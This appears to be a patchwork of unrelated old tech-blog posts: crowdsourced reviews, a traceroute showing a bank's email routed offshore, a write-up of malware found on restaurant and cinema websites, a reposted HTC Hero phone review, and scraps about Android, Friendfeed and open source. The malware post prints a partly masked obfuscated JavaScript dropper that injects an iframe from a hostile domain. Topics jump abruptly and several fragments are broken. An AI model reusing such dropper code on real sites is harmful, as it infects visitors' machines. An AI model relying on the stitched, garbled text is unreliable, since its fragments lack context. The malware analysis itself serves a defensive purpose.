The customer is the most important thing and, as Google show, we have to aim for the customer experience first and foremost.

As this article explains, it’s not the review itself that’s important but what the reader can take away from it to make a decision. The negative review contains important and therefore potentially positive information.

There’s two things we can add to reviews that are not commonly exploited.

1: programmatically determine if the review is positive or negative. Sounds like one hell of a task but actually, it’s likely there’s an API method for this (send it off for an answer from a 3rd party web service to make semantic inferences).

2: Have the crowd review the reviewer. That is, they could mark the review positive or negative or add other meta data to the review (classify it in some other way). It’s also not inconceivable that 1: above could also do this (basically, if you feed it to google, then google will infer semantic meaning from it and in some way, do the work for you).

A precedent for this also exists already…

To recall the site, I just google some question about programming because I know the site ranks well

‘java string problem’

there it is – number 4 on the page ahead of Yahoo Answers:

http://stackoverflow.com/questions/1166905/hints-for-java-lang-string-replace-problem

Scroll down and you’ll see answer #8 ‘wins’ the question. The crowdsourced answer has been crowdsourced itself leading to a better outcome for the questioner and more particularly for the googler (which google has rewarded by giving a better position in results). Google has picked up, over time, on the merits of the content on both the site stackoverflow.com and the specific URL

Today, she tells me she didn’t get the email. We all know that SMTP is a reliable form of communication and I checked my logs to confirm that nab had ‘receipted’ the email. Yup, they got it and it’s somewhere in their system.

Feb 15 16:08:39: XXXXXXXXXX: to=, relay=cluster8.us.messagelabs.com[216.82.241.83], delay=77, status=sent (250 ok xxxxxxxxxxx qp 5189 server-2.tower-37.messagelabs.com!xxxxxxxxx!xxxxxxxxxxx!1)

But my curiosity was piqued when I noticed the destination server name for NAB – cluster8.us.messagelabs.com

So I checked:

Mail exchange records:

#dig mx nab.com.au

nab.com.au. 600 IN MX 20 cluster8a.us.messagelabs.com.
nab.com.au. 600 IN MX 10 cluster8.us.messagelabs.com.

Whois

#whois messagelabs.com

Registrant:
Symantec Corporation

ugghh (purveyor of some of the world’s worst software pollution but let’s not digress)

So where is this cluster8.us.messagelabs.com and cluster8a.us.messagelabs.com (as if we can’t guess)

Path

traceroute to cluster8.us.messagelabs.com (216.82.241.83), 30 hops max, 38 byte packets
1 gbe0-0-4.cor1.smel.legion.net.au (203.17.237.158) 0.683 ms 0.364 ms 0.449 ms
2 vlan384.o3mlc76f05.optus.net.au (59.154.11.57) 0.653 ms 0.693 ms 0.700 ms
3 203.208.148.89 (203.208.148.89) 172.784 ms 237.248 ms 175.086 ms
4 te-4-2.car2.SanJose1.Level3.net (4.79.42.229) 174.596 ms 174.905 ms 175.256 ms
5 ae-4-90.edge1.SanJose3.Level3.net (4.69.152.208) 173.483 ms 173.688 ms 173.739 ms
6 Savvis-Level3.Dallas3.Level3.net (4.68.62.106) 173.976 ms 173.629 ms 174.272 ms
7 cr2-tengig0-7-3-0.sanfrancisco.savvis.net (204.70.206.57) 177.678 ms 177.897 ms 177.786 ms
8 cr1-bundle-pos1.Washington.savvis.net (204.70.197.25) 302.730 ms 238.578 ms 238.711 ms
9 hr1-tengig-2-0-0.sterling2dc2.savvis.net (204.70.197.74) 239.654 ms 268.390 ms 411.313 ms
10 DAS4-v3042.DC3.savvis.net (205.138.145.198) 239.651 ms 239.772 ms 239.682 ms
11 ge-2-0-1.er2.va1.us.messagelabs.net (64.209.224.70) 239.664 ms 240.000 ms 239.611 ms
12 vlan52.ag2.va1.us.messagelabs.net (67.219.253.17) 238.300 ms 238.099 ms 238.039 ms
13 v100.r.t37.messagelabs.net (216.82.240.67) 240.655 ms 240.481 ms 240.208 ms
14 v100.r.t37.messagelabs.net (216.82.240.67) 240.388 ms !X

and re hop 3

#whois 203.208.148.89

inetnum: 203.208.128.0 – 203.208.159.255
netname: SINGTEL-IX
descr: SingTel Internet Exchange

So…

Unbeknown to me until I sent it, my private email to NAB transits, in the clear, through Singapore to where it’s receipted in the US.

That’s for this service provider. This morning, when I first checked this, it went via Singapore then Japan to the US. In the clear.

Now, I doubt that many NAB business customers would want to think their private correspondence was readable to any entity in any of three off-shore jurisdictions and that it’s finally processed (it hits a server at messagelabs so ‘goes to disk’ for some period of time at which it can also be archived).

I haven’t even mentioned Singapore’s questionable history regarding state spying and telecommunications (google up on what Australian professor Desmond Ball has written). Google ‘network tap’.

Bad, bad bad.

I want my email to my bank kept on-shore thanks NAB. And thanks for the heads-up.

Before heading off there, I checked online for the location and was dismayed to find the website infected with malware. Dismayed, because prior to going to see the so-so movie Inception the night before, I’d visited the website Movieseer.com to check times – only to find it likewise infected with malware.

I tweeted out what I saw on Movieseer.com which was sending to the user an executable file for Windows (‘inst.exe’) after linking to a server in Bosnia. I’m pleased to report Movieseer.com was fixed the next day. Fixed to the extent that the symptom was gone but I’m not so optimistic as to think the cause is fixed and my best guess is that the cause was SQL injection which would have been aided in no small part by the fact that movieseer has a history of (MS)SQL issues which they echo to the sceeen (that’s an ‘in-production no-no’). Cheers for that say our Bosnian friends.

Google is cautioning that this bistro site contains malware and following the google link for details, reveals this was recorded on or before 1st July – more than two weeks ago! Flabbergasted?

What happened when Google visited this site?

Of the 2 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2010-07-01, and the last time suspicious content was found on this site was on 2010-07-01.

Malicious software includes 2 scripting exploit(s), 2 trojan(s). Successful infection resulted in an average of 1 new process(es) on the target machine.

The site is a PHP site and the exploit uses javascript in the HTML. It could again be SQL injection if the site uses a database; it could be an exploit based on an aged or insecure PHP or it could and perhaps most likely be just a weak password on an FTP server leading to the index file being concatenated onto with javascript. As an ISP in Australia, I see these all too regularly and what is noteworthy is both the guessability of the passwords and the potential to also exploit POP3 mail, webmail and user accounts (ie ISP management account). Somewhere in there may be gold in the form of credit card details or more passwords. Also, friends and acquaintances for the puposes of social engineering.

It’s no secret that exploits these days are after material gain nor that exploits are increasingly multi-vector aka pursuing more than one location of attack and/or an attack that open up the potential for another, more significant attack.

But back to this exploit:

There is some javascript appended to the end of the page. The content is in a sequence of escape codes fed into the javascript as:

eval(unescape(‘escaped codes’))

Unescaping the escaped codes reveals what the server is sending to the user’s browser:

iframe src=”http://dXnwXo.com/?282406″

This looks like cross-site scripting attack (XSS) on account of the 3rd party site embedded via an iframe that then goes on to attempt instantiation of an ActiveXObject and to set a cookie in the user browser.

NB URL above is mangled with crosses so I don’t get mistaken for something infected. The 3rd party site is hosted in Vietnam (222.255.28.156 – VietNam Data Communication Company). Nameservers for the domain are located in Vietnam and The Czech Republic. The domain registrant uses a .ru address but that’s not reliable the way the IP addresses are.

It’d be interesting to pursue this further however, time’s up for me. Comments welcome.

How to avoid being a victim of this attack?

• Don’t have ActiveX enabled or don’t use Windows
• Disallow 3rd party cookies
• Use Google, OpenDNS or an A/V application to check pages you’re loading prior to load.

Web pages are the primary vector of malware attack having replaced email some time ago.

And… surf safely. It’s tragic that otherwise good sites like these are appropriated as black-hat due to some pretty serious ignorance. That’s why you have to take extra steps to protect yourself. An infection spread as innocuously as this could ruin your life and increasingly so.

Or was this all just a dream (within a dream (within a dream)) ?

var mytest = “0″;
try { new ActiveXObject(‘dX’); }
catch (e) { mytest = “1″; }
if(mytest==”1″)
{
var X6XJ=
var NXzXu = ”;
var dXnXRX = X6XJ.slice ( 14, 19350 );
for ( gt = 14 ; gt < 19350 ; gt += 2 ){
Nhztu += ‘%’ + X6XJ.slice ( gt, gt + 2 );
}
var bX4X = document.cookie;
var start = bX4X.indexOf(“lXmbX=”);
if (start == -1){
var expire s = new Date();
expires.setTime(expires.getTime()+3*3600*1000);
document.cookie = “lXmbX=update;expires=”+expires.toGMTString();
document.write(unescape(NXzXu));}
}

(Via ReadWriteWeb.)

Super-smart phones based on Google‘s Android operating system have been relatively slow to take off since the first one appeared a year ago. Despite Google’s iconic brand, they have yet to develop the strong bond with U.S. consumers achieved by the Research in Motion BlackBerry or the Apple iPhone. And, after a year, Android has less than 10% of the 85,000 apps the iPhone now offers.

Sprint

Sprint’s HTC Hero

Mossberg’s Mailbox

• Touch-Screen Laptops

But Android is beginning to blossom in the market for this class of device, which is really a hand-held computer that performs many laptop-like functions.

In August, T-Mobile began offering a new $200 myTouch Android phone. Motorola will shortly launch a new $200 Android model called the CLIQ. And, on Oct. 11, Sprint will start selling perhaps the most unusual Android phone so far, the $180 HTC Hero. I’ve been testing the Hero, a touch-screen phone without a physical keyboard that has some important distinctions from earlier Android models. In general, I like the Hero and can recommend it to Sprint customers, or others looking for something powerful, but different.

HTC, a veteran Taiwan-based maker of phones, has altered Android more than anyone else so far. It has been gradually developing its own signature software layer that sits atop phone operating systems. With the Hero, it has applied this software for the first time to an Android phone, and that’s what sets the Hero apart from its Android brethren. The latest, beefed-up, version of this HTC software is called “Sense.”

Sense includes handsome, large widgets with extra features that go beyond the vanilla Android experience supplied to everyone by Google. So the Hero looks and behaves somewhat differently. For instance, a contact page in the address book application consolidates that contact’s Facebook and Flickr accounts. The music player and photo album look better, and the Hero with Sense can use Microsoft‘s Exchange service to synchronize mail, calendars and contacts.

Sense also offers something called Scenes—entire collections of sets of screens and apps, either canned or customized, that can change the phone software’s look and feel. With just a couple of clicks, you could switch between a work-oriented “scene,” that prominently features apps such as a stock tracker and your work email, and an entertainment-oriented scene filled with the music player, photo album and other apps.

As with Sprint’s Palm Pre, the Hero’s price is a bit deceptive. To get the phone for $180, you must remember to mail in a rebate form worth $100. At purchase, you have to put up $280. On the other hand, Sprint’s monthly fees can be much cheaper than those for other carriers. You’ll have to pay at least $70 a month to use the Hero, the same minimum fee that AT&T charges iPhone owners. But Sprint’s fee, unlike AT&T’s, includes unlimited text messaging and unlimited free calls to any mobile number on any network.

 

Sprint’s HTC Hero, A Worthy Smart Phone Competitor

7:07

WSJ’s Walt Mossberg reviews Sprint’s HTC Hero, the latest super smart phone based on Google’s Android mobile operating system. He says the HTC Hero is a good product and a good alternative to rivals — the BlackBerry, iPhone and Palm.

The Hero’s hardware isn’t especially beautiful. It’s a dull grey, noticeably thicker than the iPhone, with a smaller screen and six buttons plus a trackball, which adds another navigation option to the touch screen. It’s the same length as an iPhone, but is a bit narrower and lighter. It comes with just two gigabytes of memory, compared with eight gigabytes on the $99 iPhone and 16 gigabytes on Apple’s $199 model, though the Hero’s memory, unlike the iPhone’s, is expandable via a hard-to-reach slot under its removable back cover.

One big drawback is battery life. Sprint is only claiming up to four hours of talk time for the Hero, versus five hours for the Pre and iPhone. But, unlike the iPhone’s, the Hero’s battery is removable. Another drawback: I sometimes found the touch screen unresponsive, requiring multiple pokes at an icon.

On the plus side, the Hero has a much higher resolution camera than the iPhone’s or Pre’s—five megapixels versus three megapixels.

It also functions as a video camera, and in my tests, both still photos and videos I took looked very good. Phone calls, even on speaker phone, were clear and strong, and the phone has Wi-Fi and Bluetooth in addition to Sprint’s high-speed network, which in my view is better than its reputation. Web browsing was adequate.

HTC’s Sense gives the Hero seven screens on which to place apps, versus Android’s standard three screens.

And, in addition to the standard Android apps and the 8,000 downloadable apps from Android’s Market app store, there are a variety of large, beautiful HTC “widgets” you can use. The downside of these is that they can occupy an entire screen.

The most impressive widget is called People. It’s an address book in which each contact’s page features a scrolling bar at the bottom with icons that allow you to see that person’s most recent Facebook status, photos from Facebook and Flickr, plus emails and text messages she’s sent to you and recent calls between you. This is somewhat similar to Palm’s Synergy feature, which is also based around people.

Overall, I found the HTC Hero to be the best Android phone I’ve tested, and a worthy competitor to the iPhone, the BlackBerry and the Pre.

—Find all of Walt Mossberg’s columns and videos online, free, at the All Things Digital Web site, walt.allthingsd.com. Email him at mossberg@wsj.com.

C’mon Android!

Concept seems like something that could be used in an app to add smarts to twitter.

Slashdot Your Rights Online Story | Canadian ISP’s Fight Back, Again: “”

Sun tried to open-source and commercialize Star Office as Open Office in it’s battle to compete with Microsoft. That seems naive a decade later and their open-sourcing of Java came too late.

RedHat’s model of value-adding open-source to the enterprise market has been a success that led many other to follow but it’s one of many with many valid models hopefully yet to be explored.

imo IBM has preceeded the efforts of Google in open-sourcing the code that drives the infrastructure. This engenders my goodwill with IBM in the wake of Sun being gobbled up by goodwill-challenged Oracle.

Ditto then Google /dry and I especially look forward to participating in the use and distribution of rebuilds of Android and Chrome sans privacy-related code /dry.

And for VoIP, it can just be tunneled. The terrorists will want to talk peer-to-peer and not terminate or originate calls via a PSTS-gated VoIP provider and they have ample options for how to do this.

Given the ease with which peers can conduct a private conversation on an IP network, the Indian authorities would probably do better to focus on leveraging what they can with the law as it applies to the existing PSTN.

tr.im URLs | Open Source Release

Being on WordPress, this blog entry should thus appear in Helios in the next couple of minutes – inline with my Twitter stream.

test test test

Very interesting to see Huawei in this space.

T-Mobile introduces first pay-as-you-go Android smartphone, dubbed Pulse: “”

(Via TechChump.)

Skype Doubles Connection Fees For Some International Calls

(Via Wired.)

I’m in Bangkok and writing this on a finally-stable access platform based around ‘Spider Wifi’ which isn’t great, is hard to procure and needs a bit of constant attention but nevertheless at AUS100 for the year with only a 3 hourly disconnect to content with – is pretty convenient.

It only works the way it does thanks to a Linksys WRT54GL with OpenWRT installed. My Meraki’s are lying around awaiting a similar hack.

‘Hack’ also brings to mind another issue with Wifi which is the inability to control competition for the spectrum and this suggests to me that WiFi will always equal ‘hack’ and ‘control’, being the defining attribure of a telco, suggests that the telcos aren’t going to make any significant switch to Wifi at any time.

With recent comments bemoaning the lack of momentum with things Android, Om’s comments about Apple’s rising dominance as a WiFi consumer device suggests to me the use of an Android device as a smartphone/mesh-repeater which would be ideal in the developing world with it’s phone-centric internet access model.

(Via Om’s Writings.)

But I love Friendfeed, I guess because it does one really obvious thing really well and that is provide a location where all my content from across the wide web of niche socialnetworking sites can be aggregated.

Now this little piece of niceness has been consumed by the Facebook juggernaut and the social web just got smaller by one.

Facebook’s Purchase Is Bid to Own Social Media – The Washington Post

I find the guys from Twitter to be more enlightened. Twitter is also unique, simple in concept and paradigm-shifting.

See also: John Naughton: Battle lines are drawn for the war of web search dominance | Media | The Observer